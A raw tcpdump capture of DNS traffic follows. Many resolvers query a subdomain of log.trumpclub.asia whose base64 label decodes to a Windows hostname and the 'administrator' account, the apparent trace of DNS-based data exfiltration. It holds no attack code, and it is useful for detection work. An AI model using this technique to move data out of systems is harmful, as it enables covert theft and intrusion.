192.168.0.226.53 > 14.116.128.12.42318: 51259% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.418718 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 44, id 54678, offset 0, flags [none], proto UDP (17), length 130)
47.103.54.202.32548 > 192.168.0.226.53: 39594% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:49.419003 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 3077, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 47.103.54.202.32548: 39594% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:49.521311 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 35, id 18682, offset 0, flags [none], proto UDP (17), length 130)
47.242.238.193.20086 > 192.168.0.226.53: 36219% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:49.521520 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 48525, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 47.242.238.193.20086: 36219% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:56:49.734112 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2682, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.16663 > 192.168.0.226.53: 41330% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.734404 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 31511, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.16663: 41330% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.747399 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2683, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.52615 > 192.168.0.226.53: 34362% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.747692 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 31518, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.52615: 34362% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.756456 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2684, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.35714 > 192.168.0.226.53: 19992% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.756615 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 31525, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.35714: 19992% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.767300 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2685, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.48897 > 192.168.0.226.53: 39854% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.767481 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 31533, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.48897: 39854% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.775725 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2686, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.48311 > 192.168.0.226.53: 56165% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.775959 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 31535, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.48311: 56165% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.819710 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 43, id 62037, offset 0, flags [none], proto UDP (17), length 107)
116.236.159.86.42988 > 192.168.0.226.53: 46330 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:49.819962 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 5340, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 116.236.159.86.42988: 46330 AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (79)
10:56:49.960236 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 7575, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.244.21666 > 192.168.0.226.53: 59865% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.960536 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 5343, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.244.21666: 59865% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.998177 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 7581, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.244.16992 > 192.168.0.226.53: 319% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:49.998352 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 5368, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.244.16992: 319% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.038573 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 7588, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.244.63251 > 192.168.0.226.53: 63229% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.038866 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 5402, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.244.63251: 63229% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.083543 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 7590, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.244.28778 > 192.168.0.226.53: 25702% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.083840 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 5430, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.244.28778: 25702% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.123094 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 7594, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.244.22303 > 192.168.0.226.53: 49638% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.123440 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 5470, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.244.22303: 49638% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.659695 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10879, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.39526 > 192.168.0.226.53: 29330% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.659984 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 49375, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.39526: 29330% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.689871 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10880, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.52863 > 192.168.0.226.53: 19574% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.690169 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 49394, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.52863: 19574% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.716865 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10883, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.26746 > 192.168.0.226.53: 18188% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.717227 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 49402, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.26746: 18188% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.746402 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10890, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.31300 > 192.168.0.226.53: 56778% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.746592 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 49413, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.31300: 56778% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.775886 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 41, id 10894, offset 0, flags [none], proto UDP (17), length 130)
101.91.43.57.20278 > 192.168.0.226.53: 28221% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.776177 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 49415, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 101.91.43.57.20278: 28221% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:50.802137 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 43, id 21607, offset 0, flags [none], proto UDP (17), length 118)
180.153.91.55.4435 > 192.168.0.226.53: 11430% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:50.802420 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 14444, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 180.153.91.55.4435: 11430% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:51.107684 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 65426, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.6898 > 192.168.0.226.53: 23580% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.107890 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 15920, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.6898: 23580% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.134854 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 65429, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.22966 > 192.168.0.226.53: 29817% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.135198 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 15935, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.22966: 29817% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.160549 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 65430, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.28796 > 192.168.0.226.53: 44805% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.160775 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 15937, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.28796: 44805% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.162300 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 121: (tos 0x48, ttl 43, id 21153, offset 0, flags [none], proto UDP (17), length 107)
180.153.91.1.60344 > 192.168.0.226.53: 9691 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:51.162441 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 121: (tos 0x0, ttl 64, id 56516, offset 0, flags [DF], proto UDP (17), length 107)
192.168.0.226.53 > 180.153.91.1.60344: 9691 AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (79)
10:56:51.185736 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 65435, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.21238 > 192.168.0.226.53: 41386% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.186021 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 15960, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.21238: 41386% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.209470 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 65438, offset 0, flags [none], proto UDP (17), length 130)
117.68.17.140.38298 > 192.168.0.226.53: 39235% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.209808 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 15971, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.68.17.140.38298: 39235% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.439915 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25316, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.25286 > 192.168.0.226.53: 35166% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.440234 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1080, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.25286: 35166% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.483398 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25318, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.14891 > 192.168.0.226.53: 31104% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.483668 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1121, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.14891: 31104% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.524875 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25319, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.5402 > 192.168.0.226.53: 23660% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.525196 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1138, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.5402: 23660% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.569755 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 41, id 25324, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.17425 > 192.168.0.226.53: 16297% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.570050 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1152, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.17425: 16297% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.603052 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 132: (tos 0x48, ttl 43, id 22099, offset 0, flags [none], proto UDP (17), length 118)
180.153.91.55.41052 > 192.168.0.226.53: 9387% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:51.603352 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 132: (tos 0x0, ttl 64, id 14578, offset 0, flags [DF], proto UDP (17), length 118)
192.168.0.226.53 > 180.153.91.55.41052: 9387% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (90)
10:56:51.611300 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25334, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.64606 > 192.168.0.226.53: 3221% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.611578 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 143: (tos 0x0, ttl 64, id 1176, offset 0, flags [DF], proto UDP (17), length 129)
192.168.0.226.53 > 113.96.17.165.64606: 38144 stat [256q] [298au][|domain]
10:56:51.678972 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 25348, offset 0, flags [none], proto UDP (17), length 130)
113.96.17.165.38229 > 192.168.0.226.53: 50863% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:51.679273 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 1215, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 113.96.17.165.38229: 50863% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.800670 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 40, id 46978, offset 0, flags [none], proto UDP (17), length 130)
117.185.251.192.13630 > 192.168.0.226.53: 44224% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.801006 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 60226, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.185.251.192.13630: 44224% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.805376 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2687, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.9399 > 192.168.0.226.53: 39284% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.805530 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 32685, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.9399: 39284% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.814114 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2688, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.34360 > 192.168.0.226.53: 59383% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.814350 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 32689, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.34360: 59383% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.824211 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 42, id 2689, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.32846 > 192.168.0.226.53: 35417% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.824481 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 32696, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.32846: 35417% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.830471 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x48, ttl 40, id 46982, offset 0, flags [none], proto UDP (17), length 130)
117.185.251.192.26711 > 192.168.0.226.53: 29542% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.830744 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 60235, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 117.185.251.192.26711: 29542% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.838043 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2690, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.31336 > 192.168.0.226.53: 25014% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.838321 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 32710, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 111.30.158.12.31336: 25014% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
10:56:52.846000 fa:16:3e:8b:c0:46 > fa:16:3e:65:1d:2f, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 43, id 2691, offset 0, flags [none], proto UDP (17), length 130)
111.30.158.12.39108 > 192.168.0.226.53: 38893% [1au] AAAA? cGMtMjAyMDA0MjYyMzM5XGFkbWluaXN0cmF0b3INCg.log.trumpclub.asia. (102)
